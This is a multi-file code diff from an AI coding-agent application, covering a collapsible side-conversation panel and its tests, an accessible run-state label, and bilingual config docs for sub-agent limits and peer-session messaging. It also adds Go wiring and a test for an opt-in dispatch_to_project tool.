.sidequotes li { display: flex; gap: 6px; align-items: flex-start; padding: 3px 6px; border: 1px solid var(--border); border-radius: 6px; background: var(--overlay); }
|
||||
.sidequotes li span { flex: 1; min-width: 0; max-height: 36px; overflow: hidden; font: 500 11px/1.5 var(--mono); overflow-wrap: anywhere; }
|
||||
.sidequotes li button { border: 0; background: none; color: var(--muted); cursor: pointer; }
|
||||
.sidepanel > footer { display: grid; grid-template-columns: 1fr auto; gap: 6px; padding: 8px 12px 12px; border-top: 1px solid var(--border); }
|
||||
.sidepanel > footer .sidequote { grid-column: 1 / -1; justify-self: start; padding: 2px 8px; border: 1px solid var(--border); border-radius: 999px; background: none; color: var(--muted); font: var(--w-med) var(--fs-meta)/1.5 var(--ui); cursor: pointer; }
|
||||
.sidepanel > footer .sidequote:hover { color: var(--text); background: var(--overlay); }
|
||||
.sidecontent > footer { flex: none; display: grid; grid-template-columns: 1fr auto; gap: 6px; padding: 8px 12px 12px; border-top: 1px solid var(--border); }
|
||||
.sidecontent > footer .sidequote { grid-column: 1 / -1; justify-self: start; padding: 2px 8px; border: 1px solid var(--border); border-radius: 999px; background: none; color: var(--muted); font: var(--w-med) var(--fs-meta)/1.5 var(--ui); cursor: pointer; }
|
||||
.sidecontent > footer .sidequote:hover { color: var(--text); background: var(--overlay); }
|
||||
.sidepanel textarea { resize: none; min-width: 0; padding: 6px 8px; border: 1px solid var(--border); border-radius: 8px; background: var(--surface); color: var(--text); font: 500 12px/1.5 var(--ui); }
|
||||
.sidepanel textarea:focus-visible { outline: 2px solid var(--focus); outline-offset: 1px; }
|
||||
.sidesend { padding: 0 12px; border: 1px solid var(--text); border-radius: 8px; background: var(--text); color: var(--surface); font: 600 12px/1 var(--ui); cursor: pointer; }
|
||||
.sidesend:disabled { opacity: .45; cursor: default; }
|
||||
|
||||
.sidecontent { min-height: 0; display: flex; flex-direction: column; overflow: hidden; }
|
||||
.sidecontent[hidden] { display: none; }
|
||||
.sideactions { display: flex; align-items: center; gap: 8px; }
|
||||
.sidepanel > header .sidecollapse { display: inline-flex; align-items: center; justify-content: center; width: 24px; height: 24px; padding: 0; }
|
||||
.sidecollapse svg { width: 16px; height: 16px; }
|
||||
.sidecollapse[aria-expanded="false"] svg { transform: rotate(180deg); }
|
||||
.sidepanel[data-collapsed] > header { border-bottom: 0; }
|
||||
@@ -232,6 +232,23 @@ body { background: var(--page); }
|
||||
box-shadow: 0 1px 2px rgb(0 0 0 / .06), 0 0 0 3px color-mix(in srgb, var(--focus) 10%, transparent), 0 14px 34px -24px rgb(0 0 0 / .4);
|
||||
}
|
||||
.compose:focus-within::after { border-color: color-mix(in srgb, var(--focus) 58%, var(--border)); }
|
||||
@property --compose-sweep { syntax: "<angle>"; inherits: false; initial-value: 0deg; }
|
||||
.compose::before {
|
||||
content: ""; position: absolute; inset: 0; border-radius: inherit; padding: 1px; pointer-events: none; opacity: 0;
|
||||
background: conic-gradient(from var(--compose-sweep), transparent 0 62%, color-mix(in srgb, var(--focus) 70%, transparent) 82%, transparent 100%);
|
||||
-webkit-mask: linear-gradient(#000 0 0) content-box, linear-gradient(#000 0 0); -webkit-mask-composite: xor;
|
||||
mask: linear-gradient(#000 0 0) content-box exclude, linear-gradient(#000 0 0);
|
||||
}
|
||||
@media (prefers-reduced-motion: no-preference) {
|
||||
.pane:not([data-run="running"]) .compose:is(:hover, :focus-within)::before { animation: compose-sweep 1.9s cubic-bezier(.22, .8, .18, 1) both; }
|
||||
}
|
||||
@keyframes compose-sweep {
|
||||
0% { --compose-sweep: 190deg; opacity: 0; }
|
||||
22% { opacity: .22; }
|
||||
48% { opacity: .58; }
|
||||
78% { --compose-sweep: 520deg; opacity: .42; }
|
||||
100% { --compose-sweep: 560deg; opacity: 0; }
|
||||
}
|
||||
.compose .row { background: transparent; border-top-color: var(--hair); }
|
||||
.compose .row > * { animation: none; }
|
||||
.composeguide { display: none; }
|
||||
@@ -3129,7 +3146,6 @@ body { font-size: 14px; line-height: 1.75; }
|
||||
font: 650 11px/1.2 var(--ui);
|
||||
}
|
||||
.studio-runclock { flex: none; font-variant-numeric: tabular-nums; font-weight: 500; opacity: .78; }
|
||||
.studio-runclock::before { content: "·"; margin-right: 7px; opacity: .6; }
|
||||
.studio-runstate .studio-runtokens { flex: none; }
|
||||
.studio-runstate .rmark {
|
||||
width: 15px;
|
||||
|
||||
@@ -1,46 +1,37 @@
|
||||
// @vitest-environment jsdom
|
||||
import { afterEach, describe, expect, it } from "vitest";
|
||||
import { cleanup, render, screen } from "@testing-library/react";
|
||||
import "./testkit";
|
||||
import { act, cleanup, render, screen } from "@testing-library/react";
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
|
||||
import { PaneShown } from "./shown";
|
||||
import { RunLine } from "./RunLine";
|
||||
|
||||
const base = { label: "运行中", blocked: false, sent: 0, received: 0, estimated: false };
|
||||
afterEach(cleanup);
|
||||
|
||||
beforeEach(() => vi.useFakeTimers({ now: 1_000_000 }));
|
||||
afterEach(() => { cleanup(); vi.useRealTimers(); });
|
||||
const draw = (over: Partial<Parameters<typeof RunLine>[0]> = {}) =>
|
||||
render(<RunLine label="运行中" running blocked={false} since={Date.now() - 12_000} sent={10} received={20} estimated={false} {...over} />);
|
||||
|
||||
describe("the running chip above the composer", () => {
|
||||
it("says how long the turn has been running and keeps counting", () => {
|
||||
render(<RunLine {...base} running since={1_000_000 - 65_000} />);
|
||||
expect(screen.getByText("1m 5s")).toBeTruthy();
|
||||
act(() => { vi.advanceTimersByTime(3_000); });
|
||||
expect(screen.getByText("1m 8s")).toBeTruthy();
|
||||
describe("the run state beside the composer", () => {
|
||||
it("is announced to a screen reader and not printed as a word", () => {
|
||||
draw();
|
||||
const status = screen.getByRole("status");
|
||||
expect(status.getAttribute("aria-live")).toBe("polite");
|
||||
const word = screen.getByText("运行中");
|
||||
expect(status.contains(word)).toBe(true);
|
||||
expect(word.classList.contains("sr-only")).toBe(true);
|
||||
});
|
||||
|
||||
it("shows no time for a turn this window did not see start", () => {
|
||||
const { container } = render(<RunLine {...base} running />);
|
||||
expect(container.querySelector(".studio-runclock")).toBeNull();
|
||||
it("keeps the clock and the mark where the word used to be", () => {
|
||||
draw();
|
||||
expect(document.querySelector(".studio-runclock")).not.toBeNull();
|
||||
expect(document.querySelector(".rmark")).not.toBeNull();
|
||||
});
|
||||
|
||||
it("shows no time and runs no timer when nothing is running", () => {
|
||||
const { container } = render(<RunLine {...base} running={false} since={1_000_000 - 5_000} />);
|
||||
expect(container.querySelector(".studio-runclock")).toBeNull();
|
||||
expect(vi.getTimerCount()).toBe(0);
|
||||
});
|
||||
|
||||
it("keeps the time out of what a screen reader announces", () => {
|
||||
const { container } = render(<RunLine {...base} running since={1_000_000 - 5_000} />);
|
||||
expect(container.querySelector(".studio-runclock")?.getAttribute("aria-hidden")).toBe("true");
|
||||
});
|
||||
|
||||
it("does not tick in a pane nobody is looking at", () => {
|
||||
render(<PaneShown.Provider value={false}><RunLine {...base} running since={1_000_000 - 5_000} /></PaneShown.Provider>);
|
||||
expect(vi.getTimerCount()).toBe(0);
|
||||
});
|
||||
|
||||
it("keeps the time while the turn waits on a decision", () => {
|
||||
render(<RunLine {...base} running blocked since={1_000_000 - 12_000} />);
|
||||
expect(screen.getByText("12s")).toBeTruthy();
|
||||
it("says idle and waiting the same way, and the state attributes still follow the run", () => {
|
||||
const idle = draw({ label: "空闲", running: false, since: undefined });
|
||||
expect(screen.getByText("空闲").classList.contains("sr-only")).toBe(true);
|
||||
expect(document.querySelector(".studio-runstate[data-idle]")).not.toBeNull();
|
||||
idle.unmount();
|
||||
draw({ label: "等待你的决定", running: true, blocked: true });
|
||||
expect(screen.getByText("等待你的决定").classList.contains("sr-only")).toBe(true);
|
||||
expect(document.querySelector(".studio-runstate[data-waiting]")).not.toBeNull();
|
||||
});
|
||||
});
|
||||
@@ -21,7 +21,7 @@ export function RunLine({ label, running, blocked, since, sent, received, estima
|
||||
data-waiting={blocked ? "" : undefined}
|
||||
data-idle={running || blocked ? undefined : ""}
|
||||
>
|
||||
<span className="studio-runlabel"><RMark /><span>{t(label)}</span>{running && since !== undefined && <RunClock since={since} />}</span>
|
||||
<span className="studio-runlabel"><RMark /><span className="sr-only">{t(label)}</span>{running && since !== undefined && <RunClock since={since} />}</span>
|
||||
<RunTokens sent={sent} received={received} estimated={estimated} />
|
||||
</div>
|
||||
);
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
// @vitest-environment jsdom
|
||||
import { afterEach, describe, expect, it, vi } from "vitest";
|
||||
import { cleanup, render, screen, waitFor, within } from "@testing-library/react";
|
||||
import { cleanup, fireEvent, render, screen, waitFor, within } from "@testing-library/react";
|
||||
import userEvent from "@testing-library/user-event";
|
||||
import "./testkit";
|
||||
import { SidePanel } from "./SidePanel";
|
||||
@@ -118,3 +118,54 @@ describe("the side conversation panel", () => {
|
||||
await screen.findByText("done");
|
||||
});
|
||||
});
|
||||
|
||||
|
||||
describe("collapsing a side question without discarding it", () => {
|
||||
it("keeps draft and quotes while hiding the panel controls", async () => {
|
||||
const { port } = draw();
|
||||
const close = vi.spyOn(port, "closeSide");
|
||||
const ask = vi.spyOn(port, "askSide");
|
||||
const quoted = select("keep this quote");
|
||||
await userEvent.click(screen.getByRole("button", { name: "引用选中内容" }));
|
||||
quoted.remove();
|
||||
await userEvent.type(screen.getByRole("textbox", { name: "向辅助会话提问" }), "draft");
|
||||
const collapse = screen.getByRole("button", { name: "收起辅助会话" });
|
||||
await userEvent.click(collapse);
|
||||
expect(collapse.getAttribute("aria-expanded")).toBe("false");
|
||||
expect(document.activeElement).toBe(collapse);
|
||||
expect(screen.queryByRole("textbox", { name: "向辅助会话提问" })).toBeNull();
|
||||
expect(screen.queryByRole("button", { name: "发送" })).toBeNull();
|
||||
expect(screen.queryByRole("button", { name: "移除引用 1" })).toBeNull();
|
||||
expect(close).not.toHaveBeenCalled();
|
||||
await userEvent.tab();
|
||||
expect(document.activeElement).toBe(screen.getByRole("button", { name: "关闭辅助会话" }));
|
||||
await userEvent.click(screen.getByRole("button", { name: "展开辅助会话" }));
|
||||
expect((screen.getByRole("textbox", { name: "向辅助会话提问" }) as HTMLTextAreaElement).value).toBe("draft");
|
||||
expect(screen.getByText("keep this quote")).toBeTruthy();
|
||||
await userEvent.click(screen.getByRole("button", { name: "发送" }));
|
||||
await waitFor(() => expect(ask).toHaveBeenCalledWith(expect.any(String), "draft", ["keep this quote"]));
|
||||
});
|
||||
|
||||
it.each([false, true])("finishes the pending answer while collapsed (failure=%s)", async (failure) => {
|
||||
const { port } = draw();
|
||||
let finish!: (text: string) => void;
|
||||
let fail!: (reason: Error) => void;
|
||||
vi.spyOn(port, "askSide").mockImplementation(() => new Promise((resolve, reject) => { finish = resolve; fail = reject; }));
|
||||
const open = vi.spyOn(port, "openSide");
|
||||
const close = vi.spyOn(port, "closeSide");
|
||||
await userEvent.type(screen.getByRole("textbox", { name: "向辅助会话提问" }), "question");
|
||||
await userEvent.click(screen.getByRole("button", { name: "发送" }));
|
||||
await waitFor(() => expect(open).toHaveBeenCalledOnce());
|
||||
await userEvent.click(screen.getByRole("button", { name: "收起辅助会话" }));
|
||||
if (failure) fail(new Error("answer failed")); else finish("answer finished");
|
||||
await waitFor(() => expect(document.querySelector(failure ? ".sideerr" : '.sideturn[data-role="side"]')?.textContent).toContain(failure ? "answer failed" : "answer finished"));
|
||||
expect(close).not.toHaveBeenCalled();
|
||||
expect(screen.queryByRole("textbox", { name: "向辅助会话提问" })).toBeNull();
|
||||
await userEvent.click(screen.getByRole("button", { name: "展开辅助会话" }));
|
||||
expect((screen.getByRole("textbox", { name: "向辅助会话提问" }) as HTMLTextAreaElement).value).toBe(failure ? "question" : "");
|
||||
expect(open).toHaveBeenCalledOnce();
|
||||
await userEvent.click(screen.getByRole("button", { name: "收起辅助会话" }));
|
||||
fireEvent.keyDown(screen.getByRole("button", { name: "展开辅助会话" }), { key: "Escape" });
|
||||
await waitFor(() => expect(close).toHaveBeenCalledOnce());
|
||||
});
|
||||
});
|
||||
@@ -1,7 +1,8 @@
|
||||
import { useEffect, useRef, useState } from "react";
|
||||
import { useEffect, useId, useRef, useState } from "react";
|
||||
import { t } from "../i18n";
|
||||
import { reason } from "../i18n/kernel";
|
||||
import type { AgentPort } from "../port/port";
|
||||
import { StudioIcon } from "./StudioIcon";
|
||||
import { listenAction } from "./listen";
|
||||
|
||||
interface Turn {
|
||||
@@ -19,6 +20,8 @@ export function SidePanel({ port, onClose }: { port: AgentPort; onClose: () => v
|
||||
const [turns, setTurns] = useState<Turn[]>([]);
|
||||
const [quotes, setQuotes] = useState<string[]>([]);
|
||||
const [draft, setDraft] = useState("");
|
||||
const [collapsed, setCollapsed] = useState(false);
|
||||
const contentId = useId();
|
||||
const [busy, setBusy] = useState(false);
|
||||
const [error, setError] = useState("");
|
||||
const panel = useRef<HTMLElement>(null);
|
||||
@@ -30,16 +33,18 @@ export function SidePanel({ port, onClose }: { port: AgentPort; onClose: () => v
|
||||
if (open) void open.then((held) => port.closeSide(held)).catch(() => {});
|
||||
}, [port]);
|
||||
|
||||
// The room above the composer inside its pane is what the panel may fill: the
|
||||
// pane's own top is the ceiling, so the panel never rides over what is above.
|
||||
// Rectangles include interface zoom; the CSS height uses local pixels.
|
||||
// The pane bounds the room above the composer in either coordinate space.
|
||||
useEffect(() => {
|
||||
const el = panel.current;
|
||||
const host = el?.offsetParent;
|
||||
const pane = host?.closest(".pane");
|
||||
if (!el || !host || !pane) return;
|
||||
if (!el || !(host instanceof HTMLElement) || !pane) return;
|
||||
const fit = () => {
|
||||
const room = host.getBoundingClientRect().top - pane.getBoundingClientRect().top - 18;
|
||||
el.style.setProperty("--side-room", `${Math.max(240, Math.min(520, Math.floor(room)))}px`);
|
||||
const bounds = host.getBoundingClientRect();
|
||||
const scale = bounds.width / host.offsetWidth || 1;
|
||||
const room = (bounds.top - pane.getBoundingClientRect().top) / scale - 18;
|
||||
el.style.setProperty("--side-room", `${Math.max(0, Math.min(520, Math.floor(room)))}px`);
|
||||
};
|
||||
fit();
|
||||
const watch = new ResizeObserver(fit);
|
||||
@@ -104,6 +109,7 @@ export function SidePanel({ port, onClose }: { port: AgentPort; onClose: () => v
|
||||
return (
|
||||
<aside
|
||||
className="sidepanel"
|
||||
data-collapsed={collapsed || undefined}
|
||||
ref={panel}
|
||||
role="complementary"
|
||||
aria-label={t("辅助会话")}
|
||||
@@ -116,8 +122,14 @@ export function SidePanel({ port, onClose }: { port: AgentPort; onClose: () => v
|
||||
>
|
||||
<header>
|
||||
<span><b>{t("辅助会话")}</b><small>{t("只读 · 不写入主会话 · 关闭即丢")}</small></span>
|
||||
<div className="sideactions">
|
||||
<button type="button" className="sidecollapse" data-action="side.collapse" aria-expanded={!collapsed} aria-controls={contentId}
|
||||
aria-label={t(collapsed ? "展开辅助会话" : "收起辅助会话")} title={t(collapsed ? "展开辅助会话" : "收起辅助会话")}
|
||||
onClick={() => setCollapsed((held) => !held)}><StudioIcon name="down" /></button>
|
||||
<button type="button" data-action="side.close" aria-label={t("关闭辅助会话")} title={t("关闭辅助会话")} onClick={close}>×</button>
|
||||
</div>
|
||||
</header>
|
||||
<div className="sidecontent" id={contentId} hidden={collapsed}>
|
||||
<div className="sidebody" aria-live="polite">
|
||||
{turns.length === 0 && <p className="sidehint">{t("在这里问关于这段代码、这个报错的问题:它只能读文件和搜索,不会改动任何东西。")}</p>}
|
||||
{turns.map((turn, i) => (
|
||||
@@ -127,7 +139,6 @@ export function SidePanel({ port, onClose }: { port: AgentPort; onClose: () => v
|
||||
</div>
|
||||
))}
|
||||
{busy && <p className="sidehint">{t("正在读取并回答…")}</p>}
|
||||
</div>
|
||||
{error && <p className="sideerr" role="alert">{error}</p>}
|
||||
{quotes.length > 0 && (
|
||||
<ul className="sidequotes">
|
||||
@@ -139,6 +150,7 @@ export function SidePanel({ port, onClose }: { port: AgentPort; onClose: () => v
|
||||
))}
|
||||
</ul>
|
||||
)}
|
||||
</div>
|
||||
<footer>
|
||||
<button type="button" className="sidequote" data-action="side.quote" onClick={quoteSelection}>{t("引用选中内容")}</button>
|
||||
<textarea
|
||||
@@ -159,6 +171,7 @@ export function SidePanel({ port, onClose }: { port: AgentPort; onClose: () => v
|
||||
/>
|
||||
<button type="button" className="sidesend" data-action="side.send" disabled={busy || !draft.trim()} onClick={() => void send()}>{t("发送")}</button>
|
||||
</footer>
|
||||
</div>
|
||||
</aside>
|
||||
);
|
||||
}
|
||||
@@ -60,3 +60,20 @@ it("keeps one panel per pane and a fresh one on reopening", async () => {
|
||||
fireEvent.click(first);
|
||||
expect((await screen.findByRole("textbox", { name: "向辅助会话提问" }) as HTMLTextAreaElement).value).toBe("");
|
||||
});
|
||||
|
||||
|
||||
it("closes the collapsed panel with Escape, restores focus and reopens expanded", async () => {
|
||||
const view = mount();
|
||||
const button = await ready(view);
|
||||
fireEvent.click(button);
|
||||
fireEvent.click(await screen.findByRole("button", { name: "收起辅助会话" }));
|
||||
const expand = screen.getByRole("button", { name: "展开辅助会话" });
|
||||
expand.focus();
|
||||
expect(button.getAttribute("aria-pressed")).toBe("true");
|
||||
fireEvent.keyDown(expand, { key: "Escape" });
|
||||
await waitFor(() => expect(screen.queryByRole("complementary", { name: "辅助会话" })).toBeNull());
|
||||
expect(document.activeElement).toBe(button);
|
||||
fireEvent.click(button);
|
||||
expect(await screen.findByRole("textbox", { name: "向辅助会话提问" })).toBeTruthy();
|
||||
expect(screen.getByRole("button", { name: "收起辅助会话" }).getAttribute("aria-expanded")).toBe("true");
|
||||
});
|
||||
@@ -1,6 +1,6 @@
|
||||
// @vitest-environment jsdom
|
||||
import { afterEach, expect, it, vi } from "vitest";
|
||||
import { cleanup, render, screen } from "@testing-library/react";
|
||||
import { act, cleanup, render, screen } from "@testing-library/react";
|
||||
import userEvent from "@testing-library/user-event";
|
||||
import "./testkit";
|
||||
import { Workspaces } from "./Workspaces";
|
||||
@@ -58,3 +58,19 @@ it.each([[false, "原目录"], [true, "隔离目录"]])("identifies the conversa
|
||||
expect(await screen.findByText(label)).toBeTruthy();
|
||||
expect(screen.getByText(label).getAttribute("title")).toBe(current);
|
||||
});
|
||||
|
||||
it("ignores old checkout metadata when switching conversations before it arrives", async () => {
|
||||
const old = new MockPort();
|
||||
const next = new MockPort();
|
||||
let finish!: (value: Awaited<ReturnType<MockPort["workspaces"]>>) => void;
|
||||
vi.spyOn(old, "workspaces").mockReturnValue(new Promise((resolve) => { finish = resolve; }));
|
||||
vi.spyOn(next, "workspaces").mockResolvedValue({ current: root, isolated: false, canSwitch: true, canIsolate: true, recents: [] });
|
||||
const props = { title: "工作", steer: 0, onSettings: vi.fn(), account: null, theme: "dark" as const,
|
||||
onTheme: vi.fn(), onFind: vi.fn(), view: "flow" as const, rows: 0, surfaces: 0, onView: vi.fn() };
|
||||
const { rerender } = render(<Chrome {...props} port={old} status={{ workspaceRoot: copy } as never} />);
|
||||
rerender(<Chrome {...props} port={next} status={{ workspaceRoot: root } as never} />);
|
||||
expect(await screen.findByText("原目录")).toBeTruthy();
|
||||
await act(async () => finish({ current: copy, isolated: true, canSwitch: true, canIsolate: true, recents: [] }));
|
||||
expect(screen.getByText("原目录").hidden).toBe(false);
|
||||
expect(screen.queryByText("隔离目录")).toBeNull();
|
||||
});
|
||||
+15
-11
@@ -67,9 +67,9 @@ reasoning_language = "auto" # visible reasoning text: auto|zh|en
|
||||
# planner_model = "deepseek-pro" # optional low-frequency planner
|
||||
# subagent_model = "deepseek-pro" # optional default for runAs=subagent skills
|
||||
# subagent_models = { review = "deepseek-pro", security_review = "deepseek-pro" }
|
||||
# max_subagent_depth = 2 # nested delegation depth; set 1 for the old single-layer boundary
|
||||
# max_subagent_concurrency = 6 # session-wide sub-agent concurrency (task/fleet/skills)
|
||||
# max_parallel_writers = 3 # concurrent writers with non-overlapping write_paths
|
||||
# max_subagent_depth = 8 # nested delegation depth; a named stop against runaway recursion, 0 removes it; set 1 for the single-layer boundary (user config only)
|
||||
# max_subagent_concurrency = 0 # session-wide sub-agent concurrency (task/fleet/skills); 0 = no limit (user config only)
|
||||
# max_parallel_writers = 0 # concurrent writers with non-overlapping write_paths; 0 = no limit, write claims keep writers apart (user config only)
|
||||
# max_side_sessions = 0 # side conversations open at once; 0 = no limit (user config only)
|
||||
# write_lease = "optimistic" # user file only; a writer that declares no path (bash, MCP) stops holding the whole workspace
|
||||
# subagent_claims = "optimistic" # user file only; a sub-agent that declares no write_paths holds only the path it is writing, not the whole workspace against other sessions; default strict
|
||||
@@ -139,6 +139,11 @@ allow = ["Bash(go test:*)"] # never prompted
|
||||
# allow_devices = ["/dev/nvidia*"] # host device nodes bound into the Linux bash sandbox (user config only)
|
||||
# egress_unlisted = "allow" # unattended long tasks (user config only): hosts outside allowed_domains pass without asking, said once each; denied_domains still refuse
|
||||
|
||||
[peers]
|
||||
# enabled = false # your sessions on this machine can message each other; every message waits for that session's user to approve it (user config only)
|
||||
# dispatch = false # the model may hand a task to a session in another of your projects, via dispatch_to_project; needs enabled (user config only)
|
||||
# release_projects = [] # projects that take messages from your other sessions without the card; their own approvals and sandbox still apply (user config only)
|
||||
|
||||
[serve]
|
||||
# auth_mode = "token" # token (default)|password|none; none still requires the launch token for changes
|
||||
# token = "" # optional fixed token; empty token mode generates one at startup
|
||||
@@ -1802,14 +1807,13 @@ Subagent skills inherit the executor model by default. Set `subagent_model` to
|
||||
run them on another configured model, or use `subagent_models` to override only
|
||||
specific skills such as `review` or `security_review`.
|
||||
|
||||
Subagents may delegate one more layer by default: the root session is depth 0,
|
||||
first-layer subagents are depth 1, and the maximum `max_subagent_depth = 2`
|
||||
means a depth-1 workflow can dispatch a depth-2 reviewer or implementer. Depth-2
|
||||
subagents do not receive recursive agent/skill tools. Set
|
||||
`agent.max_subagent_depth = 1` to restore the old single-layer boundary. This is
|
||||
intended for workflows such as Superpowers where a workflow skill may dispatch a
|
||||
reviewer subagent, while still avoiding unbounded recursion and background
|
||||
fanout.
|
||||
Subagents delegate in layers: the root is depth 0, and `max_subagent_depth`
|
||||
(default 8, a stop against a model delegating to itself without bound; 0 removes
|
||||
it, 1 is the single-layer boundary) is the deepest layer with recursive tools.
|
||||
`max_subagent_concurrency` and `max_parallel_writers` default to 0, no limit:
|
||||
write claims, not a count, keep writers apart. A project's `reasonix.toml`
|
||||
cannot set any of the three. A 429 under heavy parallelism is retried with
|
||||
backoff and `Retry-After`.
|
||||
|
||||
Use `read_only_task` when planning needs isolated, deeper research without
|
||||
granting write-capable delegation. Use `read_only_skill` when the same need is
|
||||
|
||||
+13
-8
@@ -76,9 +76,9 @@ reasoning_language = "auto" # 可见思考过程语言:auto|zh|en
|
||||
# planner_model = "deepseek-pro" # 可选的低频规划器
|
||||
# subagent_model = "deepseek-pro" # runAs=subagent skill 的默认模型
|
||||
# subagent_models = { review = "deepseek-pro", security_review = "deepseek-pro" }
|
||||
# max_subagent_depth = 2 # 子代理嵌套委派深度;设为 1 可恢复旧的单层边界
|
||||
# max_subagent_concurrency = 6 # 会话级子代理总并发(task/fleet/skills)
|
||||
# max_parallel_writers = 3 # 互不重叠 write_paths 时的并行写入上限
|
||||
# max_subagent_depth = 8 # 子代理嵌套委派深度;防止无限递归的有名字的上限,设 0 取消;设为 1 为单层边界(只认用户级配置)
|
||||
# max_subagent_concurrency = 0 # 会话级子代理总并发(task/fleet/skills);0 = 不限制(只认用户级配置)
|
||||
# max_parallel_writers = 0 # 互不重叠 write_paths 时的并行写入上限;0 = 不限制,靠写入声明隔开写者(只认用户级配置)
|
||||
# max_side_sessions = 0 # 同时打开的辅助会话数;0 = 不限制(只认用户级配置)
|
||||
# write_lease = "optimistic" # 仅用户配置文件;没有声明路径的写入(bash、MCP)不再占住整个工作区,默认 strict
|
||||
# plan_approval = "auto" # 仅用户配置文件;提交的计划不再等待批准点击,直接开始执行,对话里会留下说明,默认 ask
|
||||
@@ -148,6 +148,11 @@ allow = ["Bash(go test:*)"] # 从不询问
|
||||
# allow_devices = ["/dev/nvidia*"] # 放进 Linux bash 沙盒的宿主设备节点(只认用户级配置)
|
||||
# egress_unlisted = "allow" # 无人值守长任务用(只认用户级配置):allowed_domains 之外的主机不再询问,每个主机提示一次;denied_domains 仍然拒绝
|
||||
|
||||
[peers]
|
||||
# enabled = false # 本机你的各个会话可以互发消息;每条消息都要对方会话的用户批准(只认用户级配置)
|
||||
# dispatch = false # 模型可用 dispatch_to_project 把任务交给你另一个项目里的会话;需要 enabled(只认用户级配置)
|
||||
# release_projects = [] # 这些项目收到你其它会话的消息时不弹批准卡;它们自己的审批与沙盒照旧(只认用户级配置)
|
||||
|
||||
[serve]
|
||||
# auth_mode = "token" # token(默认)|password|none;none 下修改与审批仍需启动令牌
|
||||
# token = "" # 可选固定 token;token 模式为空时启动时自动生成
|
||||
@@ -1419,11 +1424,11 @@ task_time_budget_minutes = 60 # 整个任务累计的墙钟时长
|
||||
Subagent skills 默认继承执行器模型。设置 `subagent_model` 可让它们统一走另一个已配置
|
||||
模型;设置 `subagent_models` 则只覆盖 `review`、`security_review` 等指定 skill。
|
||||
|
||||
Subagent 默认允许再委派一层:根会话是 depth 0,第一层 subagent 是 depth 1,
|
||||
`max_subagent_depth = 2` 表示 depth 1 的 workflow 可以再派 depth 2 的 reviewer
|
||||
或 implementer;depth 2 不再拿到递归 agent/skill 工具。设
|
||||
`agent.max_subagent_depth = 1` 可恢复旧的单层边界。这主要用于 Superpowers 这类
|
||||
workflow skill 派发 reviewer subagent 的场景,同时避免无限递归和后台 fanout。
|
||||
Subagent 按层委派:根会话是 depth 0,`max_subagent_depth`(默认 8,防止模型不停
|
||||
委派给自己;设 0 取消,设 1 为单层边界)是仍带递归工具的最深一层。
|
||||
`max_subagent_concurrency` 与 `max_parallel_writers` 默认 0,即不限制:让写者互不
|
||||
冲突的是写入声明,不是个数。三者都不能由项目的 `reasonix.toml` 设置。并行很高时
|
||||
遇到 429 会按退避并遵守 `Retry-After` 重试。
|
||||
|
||||
当计划阶段需要**明确隔离为只读**的深度调研时,用 `read_only_task`;如果更适合复用已有 skill,
|
||||
用 `read_only_skill`。两者都会启动
|
||||
|
||||
@@ -171,7 +171,7 @@ func applyUnifiedProviderToolSurface(reg *tool.Registry, goalTurnsUnreachable bo
|
||||
}
|
||||
// advise, best_of_n, run_script, the peer tools and read_mcp_resource are
|
||||
// registered only when config asks, at boot.
|
||||
for _, name := range []string{advisor.Name, bestof.Name, script.Name, "list_peers", "send_peer_message", plugin.ResourceReadToolName} {
|
||||
for _, name := range []string{advisor.Name, bestof.Name, script.Name, "list_peers", "send_peer_message", "dispatch_to_project", "view_image", plugin.ResourceReadToolName} {
|
||||
if _, ok := reg.Get(name); ok {
|
||||
allow = append(allow, name)
|
||||
}
|
||||
|
||||
@@ -321,6 +321,7 @@ func (b *builder) wireTools() error {
|
||||
env := t.env
|
||||
// The full inventory registers for use_capability; the provider-visible surface narrows later.
|
||||
addBuiltins(t.reg, cfg.Tools.Enabled, env.writeRoots, env.bash, env.bashTimeout, env.search, b.stderr, root, b.proxy, env.forbidReadRoots, env.readRoots, env.readPaths, env.sessionGuard, env.managedConfig, opts.FileOverlay, opts.TerminalRunner, env.sessionTemp, b.fileWriteReceipt)
|
||||
addViewImage(t.reg, cfg, b.model.entry, env, root)
|
||||
bindFileViews(t.reg, cfg.Tools.ChangedFilesProtected())
|
||||
t.peerLink = addPeerTools(t.reg, cfg)
|
||||
addSystemOne(t.reg, cfg.Tools.Enabled, cfg, b.keyedClient)
|
||||
|
||||
@@ -60,7 +60,7 @@ func (p *peerToolProvider) toolNames() []string {
|
||||
return names
|
||||
}
|
||||
|
||||
func buildPeerToolSession(t *testing.T, enabled bool, to, text string) (*peerToolProvider, *control.Controller, string, *struct {
|
||||
func buildPeerToolSession(t *testing.T, enabled bool, to, text string, peersExtra ...string) (*peerToolProvider, *control.Controller, string, *struct {
|
||||
mu sync.Mutex
|
||||
approvals []event.Approval
|
||||
}) {
|
||||
@@ -82,7 +82,7 @@ kind = "`+kind+`"
|
||||
model = "x"
|
||||
`)
|
||||
if enabled {
|
||||
writeFile(t, home, "config.toml", "[peers]\nenabled = true\n")
|
||||
writeFile(t, home, "config.toml", "[peers]\nenabled = true\n"+strings.Join(peersExtra, ""))
|
||||
}
|
||||
approveWorkspaceAt(t, home, dir)
|
||||
seen := &struct {
|
||||
@@ -184,3 +184,30 @@ func TestEffectAnInjectedRequestToMessageAnotherSessionAsksFirstAndWritesNothing
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// Handing a task to another project is a second switch, off unless the user's
|
||||
// own file turns it on beside messages between sessions: without it the model's
|
||||
// tool block is exactly what it was.
|
||||
func TestEffectDispatchToolExistsOnlyWhereTheUserTurnedDispatchOn(t *testing.T) {
|
||||
t.Parallel()
|
||||
for _, dispatch := range []bool{true, false} {
|
||||
t.Run(fmt.Sprintf("dispatch=%v", dispatch), func(t *testing.T) {
|
||||
t.Parallel()
|
||||
extra := ""
|
||||
if dispatch {
|
||||
extra = "dispatch = true\n"
|
||||
}
|
||||
rec, ctrl, _, _ := buildPeerToolSession(t, true, "nobody", "hello", extra)
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 20*time.Second)
|
||||
_ = ctrl.Run(ctx, "hi")
|
||||
cancel()
|
||||
has := map[string]bool{}
|
||||
for _, name := range rec.toolNames() {
|
||||
has[name] = true
|
||||
}
|
||||
if has["dispatch_to_project"] != dispatch || !has["send_peer_message"] {
|
||||
t.Fatalf("tools in the first request = %v", rec.toolNames())
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,58 @@
|
